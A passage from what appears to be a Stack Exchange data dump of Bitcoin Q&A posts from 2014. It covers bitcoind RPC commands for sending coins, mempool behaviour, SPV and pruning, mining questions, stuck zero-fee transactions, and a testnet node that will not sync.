&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Confirmation on the other hand is when the transaction has been included in a block, and the only time this becomes an issue is if there is a fork in the blockchain. But even then you still can rebroadcast a transaction if the &quot;other fork&quot; becomes the final one provided the basis on which it was made is good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point I want to make is that you are placing too much emphasis on confirmations for transactions that you yourself have created, and then wait until someone else confirms what you already know to be true, and this seems completely pointless. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps you can expand your question to explain the &quot;business reasons&quot;?&lt;/p&gt;&#xA;" OwnerUserId="5157" LastActivityDate="2014-03-12T18:32:22.967" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23428" PostTypeId="1" CreationDate="2014-03-12T18:42:05.937" Score="2" ViewCount="4963" Body="&lt;p&gt;How can I send bitcoin from one address to another via Bitcoin client/API ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There exist an API call called:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sendfrom   &amp;lt;fromaccount&amp;gt; &amp;lt;tobitcoinaddress&amp;gt; &amp;lt;amount&amp;gt; [minconf=1] [comment] [comment-to]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can I use it? And replace &lt;code&gt;&amp;lt;fromaccount&amp;gt;&lt;/code&gt; with the &lt;code&gt;&amp;lt;bitcoinaddress&amp;gt;&lt;/code&gt; to send bitcoin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Editing:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i means i want transfer bitcoins from one address in my wallet to another address in my wallet ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i used it in website each user have bitcoin address and balance so i want transfer just money exist in this address to another ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i search for accounts in bitcoind but i found issue on it :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The accounts code does not scale up to thousands of accounts with tens&#xA;  of thousands of transactions, because by-account (and&#xA;  by-account-by-time) indices are not implemented. So many operations&#xA;  (like computing an account balance) require accessing every wallet&#xA;  transaction.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;how can i resolve this issue ?   &lt;/p&gt;&#xA;" OwnerUserId="13349" LastEditorUserId="13349" LastEditDate="2014-03-12T20:03:41.280" LastActivityDate="2014-06-11T00:15:25.460" Title="How can I send bitcoin from one address to another through the Bitcoin client/API?" Tags="|bitcoind|bitcoin-core|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23429" PostTypeId="2" ParentId="23428" CreationDate="2014-03-12T19:17:34.917" Score="0" Body="&lt;p&gt;Yes that is exactly you do it however &lt;code&gt;[minconf=1]&lt;/code&gt; &lt;code&gt;[comment]&lt;/code&gt; &lt;code&gt;[comment-to]&lt;/code&gt; is not mandatory&lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-03-12T19:17:34.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23430" PostTypeId="1" AcceptedAnswerId="23624" CreationDate="2014-03-12T19:18:43.510" Score="6" ViewCount="1292" Body="&lt;p&gt;Is it possible to add an input to a transaction that is in the mempool?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if someone is paying 1 BTC to their friend, I can get the raw hex data of this transaction from the mempool before it is mined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can then sign an unspent transaction (Let's say 3 BTC) with my own private key, list it as an input, and get the raw hex data for this. Then, I can add a 3 BTC output to someone else's address (who I want to pay), and re-broadcast this new transaction to the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is stopping this from happening?&lt;/p&gt;&#xA;" OwnerUserId="6024" LastEditorUserId="5406" LastEditDate="2016-03-16T10:57:07.867" LastActivityDate="2016-03-16T10:57:07.867" Title="Is it possible to add a transaction input to a transaction in the mempool?" Tags="|transactions|signature|transaction-verification|transaction-malleability|mempool|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23431" PostTypeId="2" ParentId="23428" CreationDate="2014-03-12T19:19:11.463" Score="3" Body="&lt;p&gt;I think you answered your own question in a way. That command will send from a specified account to an address, I'm sure you don't want to bother with accounts and just send bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can send from an address to another using a similar command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sendtoaddress &amp;lt;bitcoinaddress&amp;gt; &amp;lt;amount&amp;gt; [comment] [comment-to]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;&amp;lt;bitcoinaddress&amp;gt;&lt;/code&gt; is the address you want to send to and &lt;code&gt;&amp;lt;amount&amp;gt;&lt;/code&gt; is amount of Bitcoins (up to 8 decimal places). The other two that are in brackets are optional and cosmetic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can issue these commands in a command line or using one of the many libraries for various languages. Check out the &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29&quot; rel=&quot;nofollow&quot;&gt;Bitcoin API reference&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-03-12T19:19:11.463" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23432" PostTypeId="2" ParentId="7342" CreationDate="2014-03-12T19:29:01.450" Score="-1" Body="&lt;p&gt;www.bitrule.com assists Bitcoin users to mitigate price volatility by placing custom trading rules such as stop loss as well as creating price alerts.&#xA;Designed to be simple, Bitrule is a cloud based service that connects to all major Bitcoin exchanges and safeguards your bitcoins even while you're asleep.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No software downloads, no browser plug-ins required and no deposits. Simply login your  account, place rules &amp;amp; alerts&#xA;goodluck...&#xA;&lt;a href=&quot;http://www.bitrule.com&quot; rel=&quot;nofollow&quot;&gt;http://www.bitrule.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14417" LastActivityDate="2014-03-12T19:29:01.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23433" PostTypeId="2" ParentId="23430" CreationDate="2014-03-12T19:35:17.257" Score="0" Body="&lt;p&gt;You can't, it would create a completely different transaction and the other would get invalidated as soon as one makes it to a miner and into a block. &lt;/p&gt;&#xA;" OwnerUserId="11369" LastEditorUserId="11369" LastEditDate="2014-03-12T20:47:49.187" LastActivityDate="2014-03-12T20:47:49.187" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23435" PostTypeId="1" CreationDate="2014-03-12T20:17:47.883" Score="2" ViewCount="636" Body="&lt;p&gt;Which Bitcoin node implementations, if any, currently relay valid transactions that use so-called 'non-standard' scripts? What proportion of the network is made up of these implementations? What proportion of the network's hashing power will include transactions with valid but 'non-standard' scripts in their blocks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify the term 'non-standard', I'm referring to the function &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/script.cpp#L1414&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;IsStandard()&lt;/code&gt;&lt;/a&gt;, and the following &lt;a href=&quot;https://en.bitcoin.it/wiki/Script#Scripts&quot; rel=&quot;nofollow&quot;&gt;comment on the Bitcoin Wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;non-standard scripts are accepted if they are in a block, but nodes will not relay them.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="13917" LastEditorUserId="5406" LastEditDate="2016-03-31T16:23:50.223" LastActivityDate="2016-03-31T16:23:50.223" Title="What node implementations and mining pools relay and process 'non-standard' scripts?" Tags="|script|nodes|non-standard-transaction|relay|transaction-propagation|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23437" PostTypeId="2" ParentId="23435" CreationDate="2014-03-12T20:45:37.707" Score="0" Body="&lt;p&gt;0.8.6 still relays transactions with malleable signatures. This fix has been implemented in 0.9.x. However, only a very few percentage actually runs 0.9.x because it's not yet officially released. It's still a release candidate (RC), i.e. feature-complete but not widely tested yet.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-03-12T20:45:37.707" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23438" PostTypeId="2" ParentId="23428" CreationDate="2014-03-12T20:59:48.470" Score="1" Body="&lt;pre&gt;&lt;code&gt;move - &amp;lt;fromaccount&amp;gt; &amp;lt;toaccount&amp;gt; &amp;lt;amount&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The move function will allow you to move funds from one address to another within your wallet. In regards to the scaling of accounts issue this could be resolved by connecting your own back end tracking system such as a database that stores and indexes by account.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2014-03-12T20:59:48.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23439" PostTypeId="2" ParentId="18619" CreationDate="2014-03-12T21:08:33.903" Score="21" Body="&lt;p&gt;Importing a private key can lead to non-intuitive behaviour, and that can be exploited by an attacker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine I'm evil. I give you a paper wallet with 1 mBTC on it. You're happy and import it. I keep the private key and wait. Depending on the client/user, maybe someday you'll put some real money on there as change/received funds. Then I can swipe them right off from you. If you don't bother moving the original money off the key, I can also steal that back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, then at the very least I can trick you next time into thinking you were paid by sending funds to that address. Then I can steal them right back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Importing also tends to break backups, especially deterministic key schemes. Armory gives you one line of text for all your keys, and then 1 line &lt;em&gt;per imported key&lt;/em&gt;. Every time you import, you'll need to redo all your backups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because most users don't understand these implications, wallets tend to discourage importing, and instead offer &lt;em&gt;sweeping&lt;/em&gt; (moving the funds to an address that was generated by the wallet itself). Supports 90% of the use cases with none of the issues.&lt;/p&gt;&#xA;" OwnerUserId="5892" LastEditorUserId="5892" LastEditDate="2014-03-21T23:39:43.413" LastActivityDate="2014-03-21T23:39:43.413" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23440" PostTypeId="2" ParentId="23401" CreationDate="2014-03-12T21:12:23.047" Score="0" Body="&lt;p&gt;If its just a single node that lags behind, any of it's generated blocks could easily become an orphan block unaccepted by the network. If this is a flaw/bug in the altcoin the difficulty adjusts downwards until the minimum since it sees no nodes are completing blocks fast enough (which is impossible if block processing will always take longer than the block time).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As mentioned this bug is not likely to happen as processing times are negligible for blocks. Unless your block time is that low, but you will run into bigger problems if your block time is sub-second.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-03-12T21:12:23.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23441" PostTypeId="1" CreationDate="2014-03-12T21:17:22.613" Score="1" ViewCount="181" Body="&lt;p&gt;Is the Bitcoin's copy of the block chain completely necessary? Couldn't we just store the current balances of all addresses, without keeping logs of their transactions as well? &lt;/p&gt;&#xA;" OwnerUserId="2150" LastActivityDate="2014-03-16T06:57:54.253" Title="Could Bitcoin be implemented without saving the block chain on the HDD?" Tags="|technical-analysis|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23442" PostTypeId="2" ParentId="23441" CreationDate="2014-03-12T21:22:28.713" Score="4" Body="&lt;p&gt;Yes this is called an SPV client.  See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4649/what-is-an-spv-client&quot;&gt;this question&lt;/a&gt; here for detailed explanation of how SPV works.  There are several of these today, most mobile wallets and the multibit wallet use SPV technology.   &lt;/p&gt;&#xA;" OwnerUserId="6256" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2014-03-12T21:22:28.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23443" PostTypeId="2" ParentId="23441" CreationDate="2014-03-12T21:52:50.887" Score="1" Body="&lt;p&gt;It's entirely possible for a node to store only the balances (Actually the UTXO, but it's conceptually similar). This is called blockchain pruning, and IIRC has been on the wishlist for a while.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The biggest problem is that to bootstrap a full node, it can't just take your word for what the set of balances should be, it needs proof. That proof is the full blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So even if 99% of nodes switch over to keeping pruned versions of the blockchain, we'll need a few that archive everything, so new full nodes can convince themselves of the correctness of the balances.&lt;/p&gt;&#xA;" OwnerUserId="5892" LastActivityDate="2014-03-12T21:52:50.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23445" PostTypeId="1" CreationDate="2014-03-12T22:38:13.837" Score="0" ViewCount="1118" Body="&lt;p&gt;I have access to a system for mining behind a squid proxy. No external connectivity except for HTTP &amp;amp; HTTPS. The access on my mining system is also fairly restrictive, but I have managed to build and compile &lt;code&gt;*minerd&lt;/code&gt; for it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;System specs:&lt;/strong&gt; &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;CentOS 6.5 x86_64, dual quadcore xeon, 16GB ram&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is for a project a group of us are working on; we are mining a private blockchain, not part of any *coin group (ours is based on DOGEcoin, I believe, but private).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The server &lt;em&gt;only&lt;/em&gt; allows stratum+tcp to serverIP:3333. my minerd can't reach it due to the HTTP/HTTPS only outbound restriction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked at the Stratum Miner Proxy, but I have difficulty getting python to download what it requires to config and make/setup the proxy, when I run the &lt;code&gt;setup.py&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is Stratum Miner Proxy still my best bet, or should I look into setting up a shell/relay outside the network that accepts HTTP from my miner and sends/receives stratum+tcp to the server? any other suggestions or thoughts?&lt;/p&gt;&#xA;" OwnerUserId="14424" LastEditorUserId="5406" LastEditDate="2016-04-25T20:33:29.490" LastActivityDate="2016-04-25T20:33:29.490" Title="Strict firewall &amp; proxy, no stratum+tcp connectivity; what are my options?" Tags="|miner-configuration|stratum|proxy|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23446" PostTypeId="1" AcceptedAnswerId="23452" CreationDate="2014-03-12T23:52:12.033" Score="0" ViewCount="2699" Body="&lt;p&gt;from here at little time, i'll get a ANT MINER to start mining bitcoins, and i want to know if i have some chance to get some coins with him.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brand: ANT MINER&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Model: BTC_1.6Gh/s&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overclock: 2.2 Gh/s&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I choose ANT MINER because is cheap and i won't take risks buying something expensive that i don't know if i'll use for long time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Power costs isn't applied, but i just want to know if i can make any money with it, and aproximately time that i'll take.&lt;/p&gt;&#xA;" OwnerUserId="14427" LastEditorUserId="5406" LastEditDate="2016-04-25T20:32:45.023" LastActivityDate="2016-04-25T20:32:45.023" Title="Can i start mining with ANT MINER?" Tags="|mining-profitability|mining-hardware|hashpower|" AnswerCount="1" CommentCount="0" ClosedDate="2014-03-13T18:19:59.767" ContentLicense="CC BY-SA 3.0" />
  <row Id="23447" PostTypeId="2" ParentId="22104" CreationDate="2014-03-13T01:25:54.443" Score="0" Body="&lt;p&gt;Check out this video supposedly demonstrating a malleability hack on mtgox:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=WfKy3DEiOwY&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=WfKy3DEiOwY&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like gox automatically recredited his account after the failed transaction - which would explain both the fiat discrepancy ( sell your hacked coins for fiat) and the coin discrepancy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the real question is: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How did those idiots at Gox not notice?&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2014-03-13T01:25:54.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23448" PostTypeId="1" CreationDate="2014-03-13T03:34:36.893" Score="0" ViewCount="216" Body="&lt;pre&gt;&lt;code&gt;connected to stratum.bitcoin.cz diff 1 with stratum as user xxxxxxxworker1&#xA;block f9aa8c61...Diff 4.25 started [20:26:18] Best share 0&#xA;Stratum from pool 0 detected new block &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I just started doing this and it looks like I'm doing it wrong. Am I?&lt;/p&gt;&#xA;" OwnerUserId="14432" LastEditorUserId="13172" LastEditDate="2014-03-13T12:12:57.650" LastActivityDate="2014-03-14T21:23:24.897" Title="What does this mean?" Tags="|cgminer|" AnswerCount="1" CommentCount="2" ClosedDate="2014-03-19T00:35:49.310" ContentLicense="CC BY-SA 3.0" />
  <row Id="23449" PostTypeId="2" ParentId="23448" CreationDate="2014-03-13T03:43:11.863" Score="1" Body="&lt;p&gt;This seems normal. Wait 10 minutes and see if theres some &quot;Yay!!!&quot; messages&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-03-13T03:43:11.863" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23450" PostTypeId="1" CreationDate="2014-03-13T04:22:02.577" Score="3" ViewCount="2075" Body="&lt;p&gt;I sent about $425 to an adress from my bitcoin-qt wallet and forgot to include a fee. So I googled and googled and waited around for 4 or 5 days for it to stop broadcasting but I get on my computer today to check my transaction on blockchain and its not found anymore. My bitcoin wallet is empty and on the transaction log its status is still &quot;0/unconfirmed&quot;. What do I do to get my coins back?!&lt;/p&gt;&#xA;" OwnerUserId="14435" LastEditorUserId="14435" LastEditDate="2014-03-13T04:33:32.053" LastActivityDate="2023-11-21T09:27:33.187" Title="Sent bitcoin with no fee, waited and bitcoins disappeared" Tags="|transactions|wallet|bitcoin-core|transaction-fees|unconfirmed-transactions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23451" PostTypeId="2" ParentId="23373" CreationDate="2014-03-13T04:43:41.577" Score="-1" Body="&lt;p&gt;The sender does not need to know your public key, only the bitcoin address you provide which can be different each time. You use the public key later to redeem the funds and send to another address.&lt;/p&gt;&#xA;" OwnerUserId="14436" LastActivityDate="2014-03-13T04:43:41.577" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23452" PostTypeId="2" ParentId="23446" CreationDate="2014-03-13T04:50:10.757" Score="0" Body="&lt;p&gt;You can plug your specs into a bitcoin calculator like this one &lt;a href=&quot;http://bitcoinwisdom.com/bitcoin/calculator&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinwisdom.com/bitcoin/calculator&lt;/a&gt; but since you have such a low hash rate you shouldn't expect much since the difficulty will continue to keep rising. &lt;/p&gt;&#xA;" OwnerUserId="13388" LastActivityDate="2014-03-13T04:50:10.757" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23454" PostTypeId="1" AcceptedAnswerId="23455" CreationDate="2014-03-13T10:19:14.737" Score="2" ViewCount="80" Body="&lt;p&gt;If I create two transactions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Send BTC from output X to Y, no fee is attached.&lt;/li&gt;&#xA;&lt;li&gt;Send BTC from output Y to Z, fee is attached (this depends on the previous tx).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Would nodes propegate these two transactions? Would miners mine them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, if transaction T2 depends on T1 and I want to broadcast both together - can I save some fees on T1?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2016-03-16T07:52:58.677" LastActivityDate="2016-03-16T07:52:58.677" Title="Can I save mining fees when doing transitive transactions?" Tags="|protocol|transaction-fees|child-pays-for-parent|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23455" PostTypeId="2" ParentId="23454" CreationDate="2014-03-13T11:32:26.373" Score="1" Body="&lt;p&gt;Probably not. Clients can set whatever rule they like for transaction fees, but they normally adhere to the Satoshi client rules described at &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Transaction_fees&lt;/a&gt;. However, note the section on transaction priority; if you have an address holding some old coins, it's quite likely a transaction out of that address will have high enough priority for you to avoid transaction fees by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To implement what you describe, you would need a client that does something like hold all low-fee transactions in a small pool and watches for new transactions out of their output addresses. That's certainly possible to implement, but it seems to me that it would be the sort of service you'd pay a premium for, not receive a discount on.&lt;/p&gt;&#xA;" OwnerUserId="14445" LastActivityDate="2014-03-13T11:32:26.373" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23456" PostTypeId="2" ParentId="23450" CreationDate="2014-03-13T11:53:06.443" Score="3" Body="&lt;p&gt;Export the private key of the address with the stuck transaction, import the PK into something like Electrum, and transfer the entire balance to another of your addresses.&lt;/p&gt;&#xA;" OwnerUserId="14445" LastActivityDate="2014-03-13T11:53:06.443" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23461" PostTypeId="2" ParentId="11722" CreationDate="2014-03-13T13:26:53.667" Score="-1" Body="&lt;p&gt;It's important to first set:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;type: walletpassphrase “your walletpassphrase” 600&#xA;&#xA;type: dumpprivkey [your wallet string]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14444" LastEditorUserId="3089" LastEditDate="2014-03-13T15:19:11.543" LastActivityDate="2014-03-13T15:19:11.543" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23462" PostTypeId="1" AcceptedAnswerId="23499" CreationDate="2014-03-13T13:50:14.737" Score="3" ViewCount="4008" Body="&lt;p&gt;I installed bitcoind into Linux.  I'm running it in testnet mode but it is not synchronizing as it is not downloading blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following in bitcoin.conf:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcport=8332  # Needed for testnet as default port for testnet is 18332&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Below is what it shows from &lt;code&gt;bitcoind getinfo&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;version&quot; : 80600,&#xA;    &quot;protocolversion&quot; : 70001,&#xA;    &quot;walletversion&quot; : 60000,&#xA;    &quot;balance&quot; : 0.00000000,&#xA;    &quot;blocks&quot; : 0,&#xA;    &quot;timeoffset&quot; : 0,&#xA;    &quot;connections&quot; : 0,&#xA;    &quot;proxy&quot; : &quot;&quot;,&#xA;    &quot;difficulty&quot; : 1.00000000,&#xA;    &quot;testnet&quot; : true,&#xA;    &quot;keypoololdest&quot; : 1392428204,&#xA;    &quot;keypoolsize&quot; : 101,&#xA;    &quot;paytxfee&quot; : 0.00000000,&#xA;    &quot;errors&quot; : &quot;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have the following for &lt;code&gt;ufw status verbose&lt;/code&gt; for the firewall:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Status: active&#xA;&#xA;To                         Action      From&#xA;--                         ------      ----&#xA;8333/tcp                   ALLOW       Anywhere&#xA;8332/tcp                   ALLOW       Anywhere&#xA;18333/tcp                  ALLOW       Anywhere&#xA;8333                       ALLOW       Anywhere&#xA;8332                       ALLOW       Anywhere&#xA;18333                      ALLOW       Anywhere&#xA;8333/tcp                   ALLOW       Anywhere (v6)&#xA;8332/tcp                   ALLOW       Anywhere (v6)&#xA;18333/tcp                  ALLOW       Anywhere (v6)&#xA;8333                       ALLOW       Anywhere (v6)&#xA;8332                       ALLOW       Anywhere (v6)&#xA;18333                      ALLOW       Anywhere (v6)&#xA;&#xA;8332/tcp                   ALLOW OUT   Anywhere&#xA;18333/tcp                  ALLOW OUT   Anywhere&#xA;8333                       ALLOW OUT   Anywhere&#xA;8332                       ALLOW OUT   Anywhere&#xA;18333                      ALLOW OUT   Anywhere&#xA;8333/tcp                   ALLOW OUT   Anywhere&#xA;8332/tcp                   ALLOW OUT   Anywhere (v6)&#xA;18333/tcp                  ALLOW OUT   Anywhere (v6)&#xA;8333                       ALLOW OUT   Anywhere (v6)&#xA;8332                       ALLOW OUT   Anywhere (v6)&#xA;18333                      ALLOW OUT   Anywhere (v6)&#xA;8333/tcp                   ALLOW OUT   Anywhere (v6)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Below is the content of debug.log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2014-03-13 01:04:57 Bitcoin version v0.8.6.0-g03a7d67-beta ()&#xA;2014-03-13 01:04:57 Using OpenSSL version OpenSSL 1.0.1 14 Mar 2012&#xA;2014-03-13 01:04:57 Default data directory /home/jlp/.bitcoin&#xA;2014-03-13 01:04:57 Using data directory /home/jlp/.bitcoin/testnet3&#xA;2014-03-13 01:04:57 Using at most 125 connections (1024 file descriptors available)&#xA;2014-03-13 01:04:57 Using 4 threads for script verification&#xA;2014-03-13 01:04:57 init message: Verifying wallet...&#xA;2014-03-13 01:04:57 dbenv.open LogDir=/home/jlp/.bitcoin/testnet3/database ErrorFile=/h$&#xA;2014-03-13 01:04:57 Bound to [::]:18333&#xA;2014-03-13 01:04:57 Bound to 0.0.0.0:18333&#xA;2014-03-13 01:04:57 init message: Loading block index...&#xA;2014-03-13 01:04:57 Opening LevelDB in /home/jlp/.bitcoin/testnet3/blocks/index&#xA;2014-03-13 01:04:57 Opened LevelDB successfully&#xA;2014-03-13 01:04:57 Opening LevelDB in /home/jlp/.bitcoin/testnet3/chainstate&#xA;2014-03-13 01:04:58 Opened LevelDB successfully&#xA;2014-03-13 01:04:58 LoadBlockIndexDB(): last block file = 0&#xA;2014-03-13 01:04:58 LoadBlockIndexDB(): last block file info: CBlockFileInfo(blocks=1, s$&#xA;2014-03-13 01:04:58 LoadBlockIndexDB(): transaction index disabled&#xA;2014-03-13 01:04:58 LoadBlockIndexDB(): hashBestChain=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&#xA;2014-03-13 01:04:58 init message: Verifying blocks...&#xA;2014-03-13 01:04:58  block index              43ms&#xA;2014-03-13 01:04:58 init message: Loading wallet...&#xA;2014-03-13 01:04:58 nFileVersion = 80600&#xA;2014-03-13 01:04:58  wallet                  441ms&#xA;2014-03-13 01:04:58 init message: Loading addresses...&#xA;2014-03-13 01:04:58 Loaded 0 addresses from peers.dat  1ms&#xA;2014-03-13 01:04:58 mapBlockIndex.size() = 1&#xA;2014-03-13 01:04:58 nBestHeight = 0&#xA;2014-03-13 01:04:58 setKeyPool.size() = 101&#xA;2014-03-13 01:04:58 mapWallet.size() = 0&#xA;2014-03-13 01:04:58 mapAddressBook.size() = 1&#xA;2014-03-13 01:04:58 AddLocal(XXX.XXX.XXX.XXX:18333,1)&#xA;2014-03-13 01:04:58 IPv4 eth0: XXX.XXX.XXX.XXX&#xA;2014-03-13 01:04:58 dnsseed thread start&#xA;2014-03-13 01:04:58 Loading addresses from DNS seeds (could take a while)&#xA;2014-03-13 01:04:58 net thread start&#xA;2014-03-13 01:04:58 addcon thread start&#xA;2014-03-13 01:04:58 opencon thread start&#xA;2014-03-13 01:04:58 msghand thread start&#xA;2014-03-13 01:04:58 dumpaddr thread start&#xA;2014-03-13 01:04:58 0 addresses found from DNS seeds&#xA;2014-03-13 01:04:58 dnsseed thread exit&#xA;2014-03-13 01:04:58 init message: Done loading&#xA;2014-03-13 01:04:59 GetMyExternalIP() received [XXX.XXX.XXX.XXX] XXX.XXX.XXX.XXX:0&#xA;2014-03-13 01:04:59 GetMyExternalIP() returned XXX.XXX.XXX.XXX&#xA;2014-03-13 01:04:59 AddLocal(XXX.XXX.XXX.XXX:18333,4)&#xA;2014-03-13 01:06:52 ThreadRPCServer method=getinfo&#xA;2014-03-13 01:06:52 keypool reserve 2&#xA;2014-03-13 01:06:52 keypool return 2&#xA;2014-03-13 01:09:09 ThreadRPCServer method=getinfo&#xA;2014-03-13 01:09:09 keypool reserve 2&#xA;2014-03-13 01:09:09 keypool return 2&#xA;2014-03-13 01:19:58 Flushed 0 addresses to peers.dat  4ms&#xA;2014-03-13 01:34:58 Flushed 0 addresses to peers.dat  18ms&#xA;2014-03-13 01:49:58 Flushed 0 addresses to peers.dat  1ms&#xA;2014-03-13 02:04:58 Flushed 0 addresses to peers.dat  22ms&#xA;2014-03-13 02:19:58 Flushed 0 addresses to peers.dat  3ms&#xA;2014-03-13 02:34:58 Flushed 0 addresses to peers.dat  44ms&#xA;2014-03-13 02:49:58 Flushed 0 addresses to peers.dat  22ms&#xA;2014-03-13 03:04:58 Flushed 0 addresses to peers.dat  34ms&#xA;2014-03-13 